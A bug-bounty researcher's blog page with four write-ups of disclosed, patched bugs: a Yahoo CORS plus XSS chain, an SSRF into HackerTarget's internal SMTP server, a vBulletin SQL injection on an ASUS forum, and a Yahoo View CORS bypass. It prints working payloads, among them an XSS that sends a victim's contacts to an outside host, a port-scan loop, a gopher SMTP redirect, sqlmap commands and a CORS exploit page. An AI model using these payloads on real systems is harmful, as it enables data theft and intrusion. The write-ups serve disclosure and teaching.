• Chaining Bugs to Steal Yahoo Contacts!

    👨🏻‍💻 Introduction & Background:

    This is a write-up of how I chained two vulnerabilities (an XSS and a CORS misconfiguration) that allowed me to steal contacts from a victim’s contact book. This data included: names, phone numbers, addresses, etc.

    Cross-Origin-Resource Sharing

    Cross-Origin Resource Sharing (CORS) is a mechanism that uses additional HTTP headers to let a user agent gain permission to access selected resources from a server on a different origin (domain) than the site currently in use.

    Browsers enforce the Same-Origin Policy, meaning that data on a site is only accessible from the same domain and port, unless there is a CORS configuration. This allows data to be shared with other sites.

    Cross-Site Scripting:

    XSS is a client-side code injection attack that allows an attacker to insert scripts (such as javascript) into a vulnerable application. If you don’t know what it is, you should.

    💣 The Bugs:

    Bug #1: A CORS Misconfiguration in http://proddata.xobni.yahoo.com

    I was browsing through various requests made to *.yahoo.com subdomains logged in the “Target” tab of Burp Suite. I came across the subdomain proddata.xobni.yahoo.com and was intrigued by the name. There were only a few requests logged, but all to the same endpoint: https://proddata.xobni.yahoo.com/v4/contacts. This endpoint contains every contact you have in your Contact Book via a single GET request. I noticed the origin https://mail.yahoo.com was being reflected back in the Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true header. I tried modifying the origin to many different payloads that I thought may work and be reflected, however none were reflected back. I then tried to send a different Yahoo! subdomain as the origin, rather than the mail.yahoo.com one.

    curl 'https://proddata.xobni.yahoo.com/v4/contacts' -s -H 'Origin: https://hackerone-cdl.yahoo.com' --head


    Access-Control-Allow-Origin: https://hackerone-cdl.yahoo.com
    Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
    Access-Control-Allow-Credentials: true

    It accepted any *.yahoo.com subdomain in the origin and reflected it back in the ACAO with Allow-Credentials: true. This meant if I could find an XSS on *.yahoo.com, I could leverage it to steal contacts.

    Bug #2: An XSS in Yahoo! Mail

    A few days passed and I still hadn’t found an XSS. Then I saw a tweet from Enguerran Gillier (@opnsec) regarding a wontfix Copy+Paste XSS he had found in Yahoo Mail. I quickly wget’d that POC from his server and edited it to fit my needs. (Turns out after reporting the chained bugs, the XSS wasn't marked as a wontfix and there was some miscommunication, so lucky me!). It required more user-interaction than I had wanted, but I didn’t care, I just wanted to chain them and report them as soon as possible.

    💰 The Grand Finale

    This was my proof-of-concept, that required a logged in user to copy any text from this page and paste it into Yahoo Mail.

    <!doctype html>
        <title>Yahoo CORS Misconfiguration</title>
        <h1>Yahoo CORS Misconfiguration</h1>
        <p>Stealing Contact information via CORS Misconfiguration + Yahoo Mail XSS via Copy/Paste</p>
        <h3>Prerequisites :</h3>
        - Tested on Windows 10 with Firefox 56, Chrome 62, Edge<br/>
        <h3>Instructions :</h3>
        1. Select any text in this page and copy it using ctrl-C or right click -> copy <br/>
        <span>Copy status : </span><span id="copied">not copied yet</span> <br/>
        2. Go to Yahoo Mail, compose a new email and paste inside the email body<br/>
        3. All of your contact's information will be sent to my server on port 61315  
      document.addEventListener('copy', function(e){
      	e.clipboardData.setData('text/plain', '');
      	e.clipboardData.setData('text/html','<div id="enhancr2_a" class="yahoo-link-enhancr-card">xxx</div><img src="x" onerror="document.write(\'&lt;script&gt;var xhttp=new XMLHttpRequest();xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.location=&#x22;http://example.com:61315&#x22;+escape(this.responseText);}};xhttp.open(&#x22;GET&#x22;,&#x22;https://proddata.xobni.yahoo.com/v4/contacts&#x22;,true);xhttp.withCredentials = true;xhttp.send();&lt;/script&gt;\');">');
      	document.getElementById("copied").textContent = "SUCCESSFULLY COPIED"

    Proof-of-Concept Video:


    • (11/8/2017) Reported to Yahoo! via HackerOne
    • (11/9/2017) Confirmed & awarded $150 on Triage
    • (11/15/2017) Vulnerability Patched
    • (12/10/2017) Awarded a $1,850 bounty (making the entire bounty $2,000)

      This was a fun report for me and I hoped you enjoyed it as well!
      Thanks for reading,

      Corben Leo (@sxcurity)
    • https://hackerone.com/cdl
    • https://twitter.com/sxcurity
    • https://bugcrowd.com/c
    • https://github.com/sxcurity
  • Hacking the Hackers: Leveraging an SSRF in HackerTarget

    💻 Introduction:

    This is a write-up of an SSRF I accidentally found in HackerTarget and leveraged to get access to internal services! Please note that they don’t have an active bug bounty program.

    🤔 What is HackerTarget?

    HackerTarget is a service that provides access to online vulnerability scanners and tools used by many security professionals and “makes securing your systems easier”. They also are the creators of DNSDumpster, which is utilized in several recon tools.

    😵 SSRF:

    Server-Side Request Forgery (SSRF) is a vulnerability in which an attacker can send a controlled, crafted request via a vulnerable application. We can communicate with different services running on different protocols by utilizing URI schemes such as dict://, gopher://, ftp://, and many more. Getting a server to make a request isn’t a vulnerability in itself, but becomes one when you can make requests to things you wouldn’t or shouldn’t normally have access to such as internal networks or internal services.

    🔎 Finding the vulnerability:

    I was using DNSDumpster for recon during a bug hunting session, and I noticed there was a button of a globe similar to 🌎 that said “Get HTTP Headers”:


    It made a call to https://api.hackertarget.com/httpheaders/?q=<target> and displayed the HTTP Headers of a simple GET request sent to the target server.


    I was obviously intrigued, so I tried querying! The API dumped the HTTP request and the query went through! I then tried to see if I could get the SSH version by querying



    I initially reported it as is, knowing I could hit internal services if there were any. They thanked me for the heads up and told me to check the patch they issued. I checked it, and it was easy to bypass: it was merely blocking Here are a few of the bypasses I used:


    I informed them that there isn’t a way to validate the query just by using string-based checks, so I suggested that they resolve the domains and check them against local IP ranges. They agreed and said they would think about it.

    About 10 days later I asked if they had issued another patch or not, and the response was:

    “It is on my todo list. Not critical though as there are no local services that could be hit with it.”

    😏 challenge accepted.

    😎 Leveraging like a Boss

    I decided to write a bash script that queried the API with one of the bypasses and with a port number to see if I could see what internal services it was running:

    #!/usr/bin/env bash
    for port in `seq 1 9999`
    	echo -e "\n\n[+] Checking Port: "$port"\n"
    	curl 'https://api.hackertarget.com/httpheaders/?q=http://'$1':'$port && echo -e "\n"

    I ran it: ➜ root@pwn ~ ./ht 0177.1

    HackerTarget limits 25 API queries per IP, so my script only showed the ports 1 - 25. The only responses I got were from SSH running on port 22 and I luckily got a response from the SMTP server on port 25, which I had totally overlooked before!


    👨‍💻  SMTP?

    • SMTP stands for Simple Mail Transfer Protocol.
    • It is a TCP/IP protocol that’s used for sending emails. (who would’ve guessed? 😂)
    • Usually it’s used along with either pop3 or imap, which are used to receive emails.

    I knew I would be able to hit the service with this SSRF, but I wasn’t positive that I would be able to send the valid commands needed to send emails from it. I then tried deducing which wrappers were supported and enabled besides http:// and https://.

    I tried using dict:// right away and was able to get the libcurl version, but that wasn’t very helpful. Next, I created a PHP file on my server to initiate a redirect to another port with the gopher:// wrapper:

    header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");

    In a nutshell, the gopher:// protocol sends 1 character, a new line (CR+LF), and the remaining data, which allows us to send a multiline request.

    I started netcat and checked the API again: https://api.hackertarget.com/httpheaders/?q=http://sxcurity.pro/redirect.php. It followed the redirect and I received a multiline request on port 1337!

    This means I could send valid commands to the internal SMTP server!

    🎉 The Finale

    I created another PHP file on my server that would redirect the API to the internal SMTP server and issue the valid SMTP commands!

            $commands = array(
                    'HELO hackertarget.com',
                    'MAIL FROM: <admin@hackertarget.com>',
                    'RCPT To: <sxcurity@oou.us>',
                    'Subject: @sxcurity!',
                    'Corben was here, woot woot!',
            $payload = implode('%0A', $commands);
            header('Location: gopher://0:25/_'.$payload);

    I changed the query one last time: https://api.hackertarget.com/httpheaders/?q=http://sxcurity.pro/smtp.php

    I went to my email, reloaded it once.

    A new email popped up from “admin@hackertarget.com” with the subject “@sxcurity” and the message was “Corben was here, woot woot!

    After yelling ‘heck yeah!’, I created a quick proof-of-concept video and I sent it over to HackerTarget.

    Here’s the video 🕵️

    The response?

    Nice work. Thanks for the PoC. I will finish mitigation on this and check other inputs too now…. you have opened my eyes to SSRF :)

    It was a blast to leverage an SSRF on a target that everyone knows of and uses often!

    ⚠️ Note:

    They DO NOT have a bug bounty program, so please DO NOT test them without their permission!

    Thanks for reading,

    Corben Leo (@sxcurity)

    • https://hackerone.com/cdl
    • https://twitter.com/sxcurity
    • https://bugcrowd.com/c
    • https://github.com/sxcurity
  • SQL Injection in rog.asus.com

    🔎 Introduction & Background

            To get started, I’ll give a bit of backstory behind this. I found this bug back in January of 2017 and was one of the first reports I made to a company.

    I was bored back in January so I decided to hunt for bugs in *.asus.com. After about an hour I came across rog.asus.com and I noticed that it also had a forum on it. It was running vBulletin 4.2.3. I did a bit of research and found that forumrunner, a core module enabled by default, was vulnerable to SQL Injection in this version.

    😕 What is ForumRunner?

    Forum Runner is a vBulletin, XenForo, myBB, and phpBB forum add-on that allows your users to access your forum at blazing fast speeds by using a native application installed on their mobile phone

    How is it vulnerable?

    vBulletin’s code standards use clean_gpc() and clean_array_gpc() functions to sanitize input data, so PHP superglobal arrays are not accessed directly. I would use the word “sanitize” very loosely here, as this vulnerability has just proven that these sanitizing functions are simply not enough.

    So it all comes down to /forumrunner/includes/moderation.php:

    function do_get_spam_data() {
        global $vbulletin, $db, $vbphrase;
        $vbulletin->input->clean_array_gpc('r', array(
        'threadid' => TYPE_STRING,
        'postids' => TYPE_STRING,
    ------ snip ------
    } else if ($vbulletin->GPC['postids'] != ") {
    $postids = $vbulletin->GPC['postids'];
    $posts = $db->query_read_slave("
    SELECT post.postid, post.threadid, post.visible, post.title, post.userid,
    thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid
    FROM " . TABLE_PREFIX . "post AS post
    LEFT JOIN " . TABLE_PREFIX . "thread AS thread USING (threadid)
    WHERE postid IN ($postids)

    So both postids and threadid are filtered as a TYPE_STRING, placed into an array ($vbulletin->GPC), and then added to the database. TYPE_STRING filtered variables are not protected from SQL Injection.

    This is makes the forumrunner module vulnerable to both MySQL boolean-based blind and time-based blind injection.

    😋 Exploitation

    So I checked if ASUS had applied the patch by visiting:
    https://rog.asus.com/forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=1' and an SQL error was thrown! I threw it into SQLMAP as one does (I suck at manual exploitation of SQL Injection, mainly because I haven’t ever gotten past getting some basic info from UNION ALL SELECT), however there was a WAF in place so I couldn’t extract any data whatsoever.

    I went to censys.io and searched ‘Republic of Gamers’ and quickly found the backend IP of the server, in hopes that this would bypass the WAF.

    I ran:

    sqlmap -u "*" --random-agent -threads=10 --level 5 --dbs

    and it listed out all of the databases on the site! I had successfully bypassed the WAF. I reported it and they patched it within 2 days.

    Sadly they didn’t have any sort of bounty, but it was still fun!


    • https://enumerated.wordpress.com/2016/07/11/1/
    • http://blog.securelayer7.net/vbulletin-sql-injection-exploit-cve-2016-6195/

    Thanks for reading,

    Corben Leo (@sxcurity)

    • https://hackerone.com/cdl
    • https://twitter.com/sxcurity
    • https://bugcrowd.com/c
    • https://github.com/sxcurity
  • Tricky CORS Bypass in Yahoo! View

             Recently, HackerOne hosted their second Hack The World competition. During this time I decided to take a look at Yahoo’s bug bounty program because I have heard good things about them and also due to the fact that their scope is pretty big. After finding a few issues in my.yahoo.com and getting paid for those, I decided I was going to test Yahoo! View

    I decided to browse a bit on https://view.yahoo.com and look at what requests were being made. After about 2 minutes of clicking literally everything I could click and submitting as many forms as I could, I decided to look through everything Burp Suite logged.

    I saw that the applicaiton making API calls to https://api.view.yahoo.com and thanks to Burp Suite’s passive monitoring, I also noticed that the application implemented a cross-origin resource sharing (CORS) policy.

    According to the MDN Web Docs, CORS “is a mechanism that uses additional HTTP headers to let a user agent gain permission to access selected resources from a server on a different origin (domain) than the site currently in use.”

    Since browsers enforce a Same-Origin Policy, which means that it only accepts ajax requests from accessing data from the same domain, Cross-Origin Resource Sharing allows sharing data with other sites that can be specified.

    The initial request I saw in Burp’s history was:

    GET /api/session/preferences HTTP/1.1
    Host: api.view.yahoo.com
    ------- snip -------
    origin: https://view.yahoo.com

    and the server’s response was:

    HTTP/1.1 200 OK
    Content-Type: application/json; charset=utf-8
    ------- snip -------
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Origin: https://view.yahoo.com

    Since the server was reflecting the origin and with Access-Control-Allow-Credentials) set to true, if I could get the origin to be allowed, then I could steal data from the API.

    First, I tried just sending a the origin sxcurity.pro:

    curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://sxcurity.pro'

    The server responded without the Allow-Origin and Allow-Credentials.

    Next, I tried sending view.sxcurity.pro as the origin:

    curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.sxcurity.pro'

    Still nothing.

    An idea came to mind, what if I tried view.yahoo.com.sxcurity.pro?

    curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com.sxcurity.pro'

    Voila! Still DID NOT respond with the Allow-Origin or ACAC. I had one more payload in mind: view.yahoo.comsxcurity.pro. I sent it and to my dismay, nothing had changed.

    I was about to give up when I came up with the idea to send two domains in the origin header:

    curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com sxcurity.pro'

    To my surprise the server responded with:

    HTTP/1.1 200 OK
    Content-Type: application/json; charset=utf-8
    ------- snip -------
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Origin: https://view.yahoo.com sxcurity.pro

    I was intrigued and was trying to come up with a way that I could make this a valid domain name so I could exploit it. I tried adding some characters to replace the space between the two domains to see what the server responded with!

    curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com%sxcurity.pro'


    HTTP/1.1 200 OK
    Content-Type: application/json; charset=utf-8
    ------- snip -------
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Origin: https://view.yahoo.com%sxcurity.pro

    This still wasn’t exploitable because it wasn’t valid.

    After a bit of asking around, Matt Austin linked me to one of his HackerOne Reports to Brave Software.

    I decided to try using a URL-Encoded backtick / %60 since I saw it would be a valid subdomain (from his report) and I already saw that the origin was reflected when there was a percent sign.
    I sent:

    curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com%60cdl.sxcurity.pro'

    The server’s response:

    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Origin: http://view.yahoo.com%60cdl.sxcurity.pro

    Yes, it worked! I set up a wildcard on one of my domains in Route53. I opened up Firefox and visited http://view.yahoo.com%60cdl.hack-r.be and it didn’t load! Yay, more problems. I tried in Chrome, IE, & Edge and it didn’t work in them either. I got to a Mac and tried it in Safari and it finally worked!! HOWEVER, Apache decided it didn’t like the request and to keep throwing a server error.


    After playing around I decided to just create a simple server in NodeJS to serve my exploit page.

    Contents of server.js:

    const http = require('http')
    const port = 6299
    const fs = require("fs");
    const requestHandler = (request, response) => {
      fs.readFile("index.html", function(err, data){
      response.writeHead(200, {'Content-Type': 'text/html'});
    const server = http.createServer(requestHandler)
    server.listen(port, (err) => {
      if (err) {
        return console.log('[+] ruh roh! something went wrong :(', err)
      console.log(`[+] server is listening on port ${port}`)

    and contents of index.html:

    <!DOCTYPE html>
    <h2>Yahoo CORs Exploit</h2>
    <textarea rows="10" cols="60" id="pwnz">
    <button type="button" onclick="cors()">Exploit</button>
    function cors() {
      var xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
          document.getElementById("pwnz").innerHTML = this.responseText;
      xhttp.open("GET", "http://api.view.yahoo.com/api/session/preferences", true);
      xhttp.withCredentials = true;

    I ran it and tried loading the page again in Safari and it loaded perfectly. I clicked the “Exploit” button and it retrieved the data from the vulnerable API! woot woot!

    Here’s the proof of concept video:


    • (10/24/2017) Reported to Yahoo! via HackerOne
    • (10/27/2017) Confirmed & awarded $100 on Triage
    • (11/20/2017) Vulnerability Patched
    • (12/1/2017) Awarded $400 bounty + a $100 bonus for a “great writeup and POC” (-Yahoo)

      Although it was a low impact bug, it was definitely a learning experience and a fun challenge!

      Thanks for reading,

      Corben Leo (@sxcurity)
    • https://hackerone.com/cdl
    • https://twitter.com/sxcurity
    • https://bugcrowd.com/c
    • https://github.com/sxcurity
  • H1-212 CTF Solution.pdf

    H1-212 CTF Solution.pdf